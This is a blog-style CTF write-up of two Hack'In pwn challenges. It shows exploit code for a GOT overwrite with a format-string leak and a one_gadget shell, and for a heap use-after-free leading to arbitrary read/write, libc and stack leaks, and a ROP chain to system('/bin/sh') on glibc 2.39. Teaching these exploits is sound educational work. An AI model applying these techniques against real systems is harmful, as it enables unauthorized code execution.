This week-end I was at the Hack’In, it was a lot of fun. They did a great job organizing it, and the challs were very interesting. I especially liked the pwn challenges and was the only one to flag one, so I thought I’d write this article about it.
Note
For this challenge we were given this binary and theses files to run it :
First things first, we can just run this container and get it’s libc and ld. After running pwninit
we get our patched binary using the same libraries as the server.
We can also see that most of the securities are enabled on that binary :
$ checksec --file=./note
[*] '/home/geoffrey/Documents/Notes/CTF/Hack_in/note/note'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
With this out of the way, let’s check out what the program does :
We can add notes, view their contents, and exit. Looking at the pseudo C we get with Ghidra, we can see that these notes are written on the bss in this function :
void add(void)
{
long in_FS_OFFSET;
uint user_choice;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
getn(&user_choice);
if (0x10 < (int)user_choice) {
call_exit(1);
}
printf("value: ");
read(0,notes + (long)(int)user_choice * 0x10,0xf);
printf("note added on %d successfully!\n",(ulong)user_choice);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
getn()
is only using scanf
to get an integer, and since there’s no check on wheter user_choice
is negative, there is an interger underflow in this line :
if (0x10 < (int)user_choice) {
Which gives us an arbitrary write with that read()
call :
read(0,notes + (long)(int)user_choice * 0x10,0xf);
For example if I create a note with index -10
, I’ll be writing at address notes - 160
as we can see with GDB :
=== Menu ===
1. Add
2. View
0. Exit
> 1
idx: -10
value:
Since the binary has Partial RELRO, the got is writable. So this vulnerability immediatly SCREAMS GOT overwrite. If you don’t know what the fuck I’m talking about, this might help you out.
Our problem being, PIE and ASLR are activated. So if we want to overwrite the GOT with a one gadget we first need a leak to calculate it’s address. I didn’t find another vulnerability to get a leak, so at first I thought about bruteforcing which sadly couldn’t work. Since I can overwrite the GOT, maybe if I overwrite some other function’s GOT with puts
it might leak me something ? It didn’t 🗿
At that point, not seeing any other options I chose to stop in shame and go do some reverse.
But later on, reinvigorated by a quick flag, I decided to take another look at it. And this time I thought : I tried to overwrite other functions with puts
, but what about printf
? And I saw this line in view()
(the function letting us view the note’s content) :
puts(notes + (ulong)index * 0x10);
We can write whatever we want over notes
, so if puts
actually calls printf
this gets us a format string.
First thing first, let’s check wheter it’s feasable using GDB :
Since puts
’s address isn’t resolved until we call it in view()
, it doesn’t point to the libc yet. And as we can see above, we only have to overwrite the least significant byte to 0xf0
to make it point to printf
’s PLT. Let’s make it happen with a script. First we can code these functions to interact with the program :
def add(index:bytes, value:bytes):
p.sendline(b"1")
p.recvuntil(b"idx: ")
p.sendline(index)
p.recvuntil(b"value: ")
p.send(value)
p.recvuntil(b">")
def view(index:bytes):
p.sendline(b"2")
p.recvuntil(b"idx: ")
p.sendline(index)
data = p.recvuntil(b"===").replace(b"===", b"").strip()
p.recvuntil(b">")
return data
And now we can overwite puts
’s GOT quite simply this way :
add(b"-10", b"\xf0")
We know it’s -10
simply by debugging and calculating the offset. For example, 0x55cb0f7f6000
being the address of notes
and 0x55cb0f7f60a0
the address of puts
’s GOT :
>>> 0x55cb0f7f6000-0x55cb0f7f60a0
-160
>>> _/0x10
-10.0
As you can see, we now have a format string when viewing our notes :
=== Menu ===
1. Add
2. View
0. Exit
> 1
idx: 0
value: %17$p
note added on 0 successfully!
=== Menu ===
1. Add
2. View
0. Exit
> 2
idx: 0
0x7f95cfe2a1ca
By debugging we can find out that the payload %17$p
leaks us the libc. So we can automate the leak this way :
add(b"0", b"%17$p")
leak = view(b"0")
libc.address = int(leak, 16) - (libc.sym["__libc_start_call_main"] + 122)
Now, we need to find a one gadget which constraint’s won’t be an issue. Took me some time, but I found this one that could be executed during the scanf
call in the menu()
function :
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
And finally, we just have to overwrite scanf
’s got with that one gadget :
one_gadget = p64(libc.address + 0xef52b)
add(b"-7", b"A"*8+one_gadget[:7])
Putting it all together in this script we get the flag :
$ ./solve.py -r 146.148.28.103 32866
$ cat flag.txt
HNx04{83b55ee77f37cac314fe45d1f45e33f4}
db
Again on top of the binary we were given these files to run it :
We can get this libc and this ld from the container. And after running pnwinit
, we get this patched binary using them.
Again, pretty much everything is enabled :
$ checksec --file=./db
[*] '/home/geoffrey/Documents/Notes/CTF/Hack_in/pwn-db/db'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Let’s see what changed :
This time we can also edit and delete our notes.
By checking the code in Ghidra, we can also see that it’s going to be a heap challenge :
void add_entry(void)
{
ulong index;
void *ptr;
undefined8 size;
long data_ptr;
index = getn("idx: ");
if (index < 0x11) {
if (*(long *)(entries + index * 8) == 0) {
ptr = malloc(0x18);
*(void **)(entries + index * 8) = ptr;
**(ulong **)(entries + index * 8) = index;
size = getn("size: ");
*(undefined8 *)(*(long *)(entries + index * 8) + 8) = size;
if (*(ulong *)(*(long *)(entries + index * 8) + 8) < 0x201) {
data_ptr = *(long *)(entries + index * 8);
ptr = malloc(*(size_t *)(*(long *)(entries + index * 8) + 8));
*(void **)(data_ptr + 0x10) = ptr;
if (*(long *)(*(long *)(entries + index * 8) + 0x10) != 0) {
gets("data: ");
}
}
else {
error("Invalid Size");
}
}
else {
error("Data already exists at the specified index!");
}
}
else {
error("Nope! That many entries aren\'t allowed!");
}
return;
}
So let’s check out the glibc version :
# /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.3) stable release version 2.39.
Glibc 2.39, since we’re currently on glibc 2.40 this is quite a recent one.
First let’s start by understanding how the notes work. By reading the code of add_entry()
, we can see that each pointer to the notes are saved in entries
on the bss. These pointers point to a structure on the heap containing 3 elements :
- their index used to calculate where to save them in
entries
. - the size of the data it contains.
- a pointer to it’s data (in another heap’s chunk).
We can also check that in GDB :
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 1
idx: 1
size: 8
data: AAAAAAAA
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
>
But if you paid attention to add_entry()
that we saw earlier, you might wonder what happens when a note with an invalid size that doesn’t get pass this condition is created :
*(undefined8 *)(*(long *)(entries + index * 8) + 8) = size;
if (*(ulong *)(*(long *)(entries + index * 8) + 8) < 0x201) {
Let’s try it and find out :
$ ./db_patched
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 1
idx: 1
size: 1000
[ERROR]: Invalid Size
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 2
idx: 1
data: AAAAAAAA
Segmentation fault (core dumped)
Well, the note is created even tho the chunk supposed to contain the data isn’t. If we check the code of edit_entry()
:
void edit_entry(void)
{
ulong index;
index = getn("idx: ");
if ((*(long *)(entries + index * 8) == 0) || (0x10 < index)) {
error("entry doesn\'t exist at the specified index.");
}
else {
if (index != **(ulong **)(entries + index * 8)) {
error("corrupted index.");
exit(1);
}
gets("data: ");
}
return;
}
No verifications, it just gets the pointer from the note at the given index, and tries to write over it. But since it wasn’t initialized as we said earlier, it tries to write on a null pointer which results in a segmentation fault :
So that’s fun and all, but what the fuck does it get us ?
Since add_entry()
isn’t writing anything on the data’s pointer, maybe if there was a valid pointer beforehand we could write over it ? If we first create a note, delete it, and then recreate a new one it might have kept the pointer ? Let’s check what happens in remove_entry()
(the function used to delete notes) :
free(*(void **)(*(long *)(entries + index * 8) + 0x10));
free(*(void **)(entries + index * 8));
*(undefined8 *)(entries + index * 8) = 0;
The program is only freeing the chunks, and writing a null pointer over the value in entries. It’s not doing anything to the actual content of the note on the heap. Let’s try and exploit it :
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 1
idx: 1
size: 8
data: AAAAAAAA
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 3
idx: 1
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 1
idx: 1
size: 1000
[ERROR]: Invalid Size
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 2
idx: 1
data:
As we can see above, it kept the pointer of the first note and we’re now writing 1000 bytes over it. This gets us both a use after free and some sort of an overflow.
Using that we can write a script to create 2 notes, delete the first, and create a new one with the size error. This will get us the overflow we’ll use to overwrite the second note (yes it probably would have been simpler to exploit it as a use after free instead like a normal human being, BUT IT WAS 3 IN THE MORNING I WASN’T THINKING STRAIGHT) :
add_entry(b"1", b"8", b"A"*8)
add_entry(b"2", b"8", b"B"*8)
remove(b"1")
add_entry_error(b"1", b"10000")
add_entry
, add_entry_error
, remove
, and view
being the functions I wrote to manipulate the program. If you want to check them out, you can see them in this final script.
Once we’ve set up the two previous notes, if we write 56 bytes over the first note’s data we write over the second note’s data pointer as you can see here :
(The first note is at 0x55c9871e02a0
, the second at 0x55c9871e02e0
)
First, we can use this to get a heap leak by filling up the space between the two notes and viewing the first note’s data :
add_entry(b"1", b"8", b"A"*8)
add_entry(b"2", b"8", b"B"*8)
remove(b"1")
add_entry_error(b"1", b"10000")
edit_entry(b"1", b"C"*49)
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
> 4
idx: 1
data: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xa3a\xe8)V
=== Menu ===
1. Add
2. Edit
3. Remove
4. View
0. Exit
>
As you can see at the end of the first note’s data : a pointer to the heap !
And now by overwriting the second note’s pointer and viewing it’s data we get an arbitrary read. By editing it’s data we get an arbitrary write :
# Overwriting second chunk's pointer
def overwrite_ptr(address:bytes):
# Writing a clean heap not to sigsegv
payload = b"".join([
b"C"*16,
p64(0),
p64(0x21),
p64(0x2),
p64(0xffff), # Size set to 0xfff to write more bytes
address,
])
edit_entry(b"1", payload)
def read(address:bytes):
overwrite_ptr(address)
leak = view(b"2")
return leak
def write(address:bytes, value:bytes):
overwrite_ptr(address)
edit_entry(b"2", value)
But there’s still a major issue. We have our two primitives, we have a heap leak, but both PIE and ASLR are activated… Since there is currently only pointers to the heap on the heap, well we only have an arbitrary read and write on the heap.
But don’t worry, we only need to create a chunk with some metadata containing a pointer to the libc. Essentially right now our chunks are going to the Tcachebins :
Whos metadata only contains a pointer to the heap, but if we were to get a chunk in the unsorted bin, it would have a pointer to the main area : a pointer to the libc. To do so, we just need to fill up the Tcachebins for chunks of a size over 0x90. The Tcachebins can only contain a limited number of chunks, so we can get a chunk in the unsorted bin like that :
def unsorted_bin():
for i in range(9):
add_entry(str(i+3).encode(), b"121", b"Z"*121)
for i in range(9):
remove(str(i+3).encode())
We have a pointer to the libc on the heap !
But it’s 8 minutes before the end of the CTF and it’s glibc 2.39…
What I didn’t say, is that I forgot I had to use chunks of a size over 0x90 bytes to get one in the unsorted bin and waisted almost an hour trying to do other challs instead. But I mean it was 4 in the morning… (mostly skill issue and blindness)
Anyway, I liked the chall, and haven’t had the occasion to get an rce on such a recent libc yet so I thought I’d still finish and write about it.
Quite recently I came across this article made by nobodynobody (thanks Ret2skillz), that shows us in detail how to RCE on libc 2.38. Obviously some of these techniques probably still work. And the simplest one seemed to be last one : leaking environ
to get the stack, debugging to find out the offset between environ
and a pointer used to return
, overwriting it with a ropchain calling system("/bin/sh")
(that could have been done in less than 8 minutes if I’d known about it which I could have if I actually read the whole article the first time around instead of being lazy but anyway I’m absolutly not salty at all don’t you worry about me). Which gives us :
# Leaking the stack
leak = read(p64(libc.sym["environ"]))
environ = int.from_bytes(leak, "little")
# ROP chain
system = p64(libc.sym["system"])
sh = p64(next(libc.search(b"/bin/sh")))
pop_rdi = p64(0x000000000010f75b + libc.address) # pop rdi ; ret
ret = p64(0x000000000002882f + libc.address) # ret
payload = b"".join([
pop_rdi,
sh,
ret,
system,
])
write(p64(environ-352), payload)
p.interactive()
And finally, we get a shell using this script :